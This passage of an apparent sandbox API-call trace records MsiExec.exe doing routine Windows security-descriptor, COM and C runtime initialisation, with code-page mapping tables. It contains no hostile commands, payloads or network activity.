ReturnLength=0x21d480) returned 1 [0142.053] EqualSid (pSid1=0x21f84c*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), pSid2=0x81f6f8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 0 [0142.053] CloseHandle (hObject=0xa4) returned 1 [0142.053] AllocateAndInitializeSid (in: pIdentifierAuthority=0x21d450, nSubAuthorityCount=0x1, nSubAuthority0=0x12, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x21d208 | out: pSid=0x21d208*=0x5d53b0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 1 [0142.053] AllocateAndInitializeSid (in: pIdentifierAuthority=0x21d450, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x21d210 | out: pSid=0x21d210*=0x5d53c8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0142.053] AllocateAndInitializeSid (in: pIdentifierAuthority=0x21d450, nSubAuthorityCount=0x1, nSubAuthority0=0x4, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x21d218 | out: pSid=0x21d218*=0x5d53e0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x4)) returned 1 [0142.053] GetLengthSid (pSid=0x5d53b0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 0xc [0142.053] GetLengthSid (pSid=0x5d53c8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0x10 [0142.053] GetLengthSid (pSid=0x5d53e0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x4)) returned 0xc [0142.053] InitializeAcl (in: pAcl=0x21d248, nAclLength=0x48, dwAclRevision=0x2 | out: pAcl=0x21d248) returned 1 [0142.053] AddAccessAllowedAce (in: pAcl=0x21d248, dwAceRevision=0x2, AccessMask=0x1, pSid=0x5d53b0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12) | out: pAcl=0x21d248) returned 1 [0142.053] GetAce (in: pAcl=0x21d248, dwAceIndex=0x0, pAce=0x21d230 | out: pAce=0x21d230*=0x21d250) returned 1 [0142.053] AddAccessAllowedAce (in: pAcl=0x21d248, dwAceRevision=0x2, AccessMask=0x1, pSid=0x5d53c8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)) | out: pAcl=0x21d248) returned 1 [0142.053] GetAce (in: pAcl=0x21d248, dwAceIndex=0x1, pAce=0x21d230 | out: pAce=0x21d230*=0x21d264) returned 1 [0142.053] AddAccessAllowedAce (in: pAcl=0x21d248, dwAceRevision=0x2, AccessMask=0x1, pSid=0x5d53e0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x4) | out: pAcl=0x21d248) returned 1 [0142.053] GetAce (in: pAcl=0x21d248, dwAceIndex=0x2, pAce=0x21d230 | out: pAce=0x21d230*=0x21d27c) returned 1 [0142.053] InitializeSecurityDescriptor (in: pSecurityDescriptor=0x21d1ec, dwRevision=0x1 | out: pSecurityDescriptor=0x21d1ec) returned 1 [0142.053] SetSecurityDescriptorDacl (in: pSecurityDescriptor=0x21d1ec, bDaclPresent=1, pDacl=0x21d248, bDaclDefaulted=0 | out: pSecurityDescriptor=0x21d1ec) returned 1 [0142.053] SetSecurityDescriptorOwner (in: pSecurityDescriptor=0x21d1ec, pOwner=0x5d53c8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), bOwnerDefaulted=0 | out: pSecurityDescriptor=0x21d1ec) returned 1 [0142.053] SetSecurityDescriptorGroup (in: pSecurityDescriptor=0x21d1ec, pGroup=0x5d53b0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), bGroupDefaulted=0 | out: pSecurityDescriptor=0x21d1ec) returned 1 [0142.054] GetSecurityDescriptorLength (pSecurityDescriptor=0x21d1ec) returned 0x78 [0142.054] MakeSelfRelativeSD (in: pAbsoluteSecurityDescriptor=0x21d1ec, pSelfRelativeSecurityDescriptor=0x21f690, lpdwBufferLength=0x21d4c8 | out: pSelfRelativeSecurityDescriptor=0x21f690, lpdwBufferLength=0x21d4c8) returned 1 [0142.054] MakeAbsoluteSD (in: pSelfRelativeSecurityDescriptor=0x21f690, pAbsoluteSecurityDescriptor=0x21dd80, lpdwAbsoluteSecurityDescriptorSize=0x21d4a0, pDacl=0x21d950, lpdwDaclSize=0x21d4c4, pSacl=0x21db68, lpdwSaclSize=0x21d4b0, pOwner=0x21dc74, lpdwOwnerSize=0x21d4bc, pPrimaryGroup=0x21da5c, lpdwPrimaryGroupSize=0x21d4c0 | out: pAbsoluteSecurityDescriptor=0x21dd80, lpdwAbsoluteSecurityDescriptorSize=0x21d4a0, pDacl=0x21d950, lpdwDaclSize=0x21d4c4, pSacl=0x21db68, lpdwSaclSize=0x21d4b0, pOwner=0x21dc74*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), lpdwOwnerSize=0x21d4bc, pPrimaryGroup=0x21da5c*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), lpdwPrimaryGroupSize=0x21d4c0) returned 1 [0142.054] GetProcAddress (hModule=0x75740000, lpProcName="CoInitializeSecurity") returned 0x75767259 [0142.054] CoInitializeSecurity (pSecDesc=0x21dd80, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x3, dwImpLevel=0x2, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0142.098] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xf0 [0142.098] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xec [0142.098] GetProcAddress (hModule=0x75740000, lpProcName="CoCreateInstance") returned 0x75789d0b [0142.098] CoCreateInstance (in: rclsid=0x81ba00*(Data1=0xc101c, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnkOuter=0x0, dwClsContext=0x4, riid=0x811848*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x21d398 | out: ppv=0x21d398*=0x5e9184) returned 0x0 [0143.619] IUnknown:QueryInterface (in: This=0x5e9184, riid=0x81ba00*(Data1=0xc101c, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x21d39c | out: ppvObject=0x21d39c*=0x5db9bc) returned 0x0 [0143.633] IUnknown:Release (This=0x5e9184) returned 0x1 [0143.633] LoadLibraryW (lpLibFileName="Msi.dll") returned 0x722b0000 [0143.633] GetProcAddress (hModule=0x722b0000, lpProcName="DllGetClassObject") returned 0x722d183e [0143.633] DllGetClassObject (in: rclsid=0x818160*(Data1=0xc102a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), riid=0x811848*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x21d468 | out: ppv=0x21d468*=0x724ca460) returned 0x0 [0143.639] IUnknown:AddRef (This=0x724ca460) returned 0x1 [0143.660] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xf30) returned 0x13c [0143.660] GetProcAddress (hModule=0x75740000, lpProcName="CoIsHandlerConnected") returned 0x758039b5 [0143.663] CoIsHandlerConnected (pUnk=0x5dba04) returned 1 [0143.666] IUnknown:Release (This=0x5db9bc) returned 0x0 [0143.666] IUnknown:Release (This=0x5dba04) returned 0x1 [0143.667] MsgWaitForMultipleObjects (nCount=0x3, pHandles=0x21d4a4*=0x13c, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0x4ff) Thread: id = 149 os_tid = 0x548 Thread: id = 150 os_tid = 0x33c Thread: id = 151 os_tid = 0x354 Thread: id = 152 os_tid = 0x4b4 Thread: id = 153 os_tid = 0x738 [0146.384] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x340000 [0146.386] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0146.386] GetProcAddress (hModule=0x752b0000, lpProcName="FlsAlloc") returned 0x752c4ee3 [0146.386] GetProcAddress (hModule=0x752b0000, lpProcName="FlsGetValue") returned 0x752c1252 [0146.386] GetProcAddress (hModule=0x752b0000, lpProcName="FlsSetValue") returned 0x752c41c0 [0146.386] GetProcAddress (hModule=0x752b0000, lpProcName="FlsFree") returned 0x752c354f [0146.387] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0146.387] GetProcAddress (hModule=0x752b0000, lpProcName="EncodePointer") returned 0x76f40fcb [0146.388] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0146.388] GetProcAddress (hModule=0x752b0000, lpProcName="EncodePointer") returned 0x76f40fcb [0146.388] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0146.389] GetProcAddress (hModule=0x752b0000, lpProcName="EncodePointer") returned 0x76f40fcb [0146.389] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0146.389] GetProcAddress (hModule=0x752b0000, lpProcName="EncodePointer") returned 0x76f40fcb [0146.389] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0146.389] GetProcAddress (hModule=0x752b0000, lpProcName="EncodePointer") returned 0x76f40fcb [0146.389] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0146.389] GetProcAddress (hModule=0x752b0000, lpProcName="EncodePointer") returned 0x76f40fcb [0146.390] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0146.390] GetProcAddress (hModule=0x752b0000, lpProcName="EncodePointer") returned 0x76f40fcb [0146.390] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0146.391] GetProcAddress (hModule=0x752b0000, lpProcName="DecodePointer") returned 0x76f39d35 [0146.391] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x214) returned 0x3407d0 [0146.391] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0146.391] GetProcAddress (hModule=0x752b0000, lpProcName="DecodePointer") returned 0x76f39d35 [0146.392] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0146.392] GetProcAddress (hModule=0x752b0000, lpProcName="EncodePointer") returned 0x76f40fcb [0146.392] GetProcAddress (hModule=0x752b0000, lpProcName="DecodePointer") returned 0x76f39d35 [0146.392] GetCurrentThreadId () returned 0x738 [0146.392] GetCommandLineA () returned="C:\\Windows\\syswow64\\MsiExec.exe -Embedding 15C2A74905FE813C1C1C8CDCF151DE4D" [0146.392] GetEnvironmentStringsW () returned 0x5f40e8* [0146.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1415, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1415 [0146.392] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x587) returned 0x3409f0 [0146.393] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1415, lpMultiByteStr=0x3409f0, cbMultiByte=1415, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1415 [0146.393] FreeEnvironmentStringsW (penv=0x5f40e8) returned 1 [0146.393] GetStartupInfoA (in: lpStartupInfo=0x21df180 | out: lpStartupInfo=0x21df180*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\syswow64\\MsiExec.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0146.393] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x800) returned 0x340f80 [0146.393] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0146.393] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0146.393] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0146.393] SetHandleCount (uNumber=0x20) returned 0x20 [0146.393] GetLastError () returned 0x0 [0146.394] SetLastError (dwErrCode=0x0) [0146.394] GetLastError () returned 0x0 [0146.394] SetLastError (dwErrCode=0x0) [0146.394] GetLastError () returned 0x0 [0146.394] SetLastError (dwErrCode=0x0) [0146.394] GetACP () returned 0x4e4 [0146.394] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x220) returned 0x341788 [0146.394] GetLastError () returned 0x0 [0146.394] SetLastError (dwErrCode=0x0) [0146.394] IsValidCodePage (CodePage=0x4e4) returned 1 [0146.394] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x21df160 | out: lpCPInfo=0x21df160) returned 1 [0146.394] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x21dec2c | out: lpCPInfo=0x21dec2c) returned 1 [0146.394] GetLastError () returned 0x0 [0146.395] SetLastError (dwErrCode=0x0) [0146.395] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x21debbc | out: lpCharType=0x21debbc) returned 1 [0146.395] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x21df040, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0146.395] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x21df040, cbMultiByte=256, lpWideCharStr=0x21de9a8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ誰譭닡璟Ā") returned 256 [0146.395] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ誰譭닡璟Ā", cchSrc=256, lpCharType=0x21dec40 | out: lpCharType=0x21dec40) returned 1 [0146.396] GetLastError () returned 0x0 [0146.396] SetLastError (dwErrCode=0x0) [0146.396] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0146.396] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x21df040, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0146.396] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x21df040, cbMultiByte=256, lpWideCharStr=0x21de978, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\鿟t∁) returned 256 [0146.396] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\鿟t∁, cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0146.396] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\鿟t∁, cchSrc=256, lpDestStr=0x21de768, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0146.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x21def40, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿæ0)@xñ\x1d\x02\x87g\x9ft¨\x194", lpUsedDefaultChar=0x0) returned 256 [0146.396] GetLastError () returned 0x0 [0146.397] SetLastError (dwErrCode=0x0) [0146.397] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x21df040, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0146.397] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x21df040, cbMultiByte=256, lpWideCharStr=0x21de998, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\鿟t∁) returned 256 [0146.397] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\鿟t∁, cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0146.397] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\鿟t∁, cchSrc=256, lpDestStr=0x21de788, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") 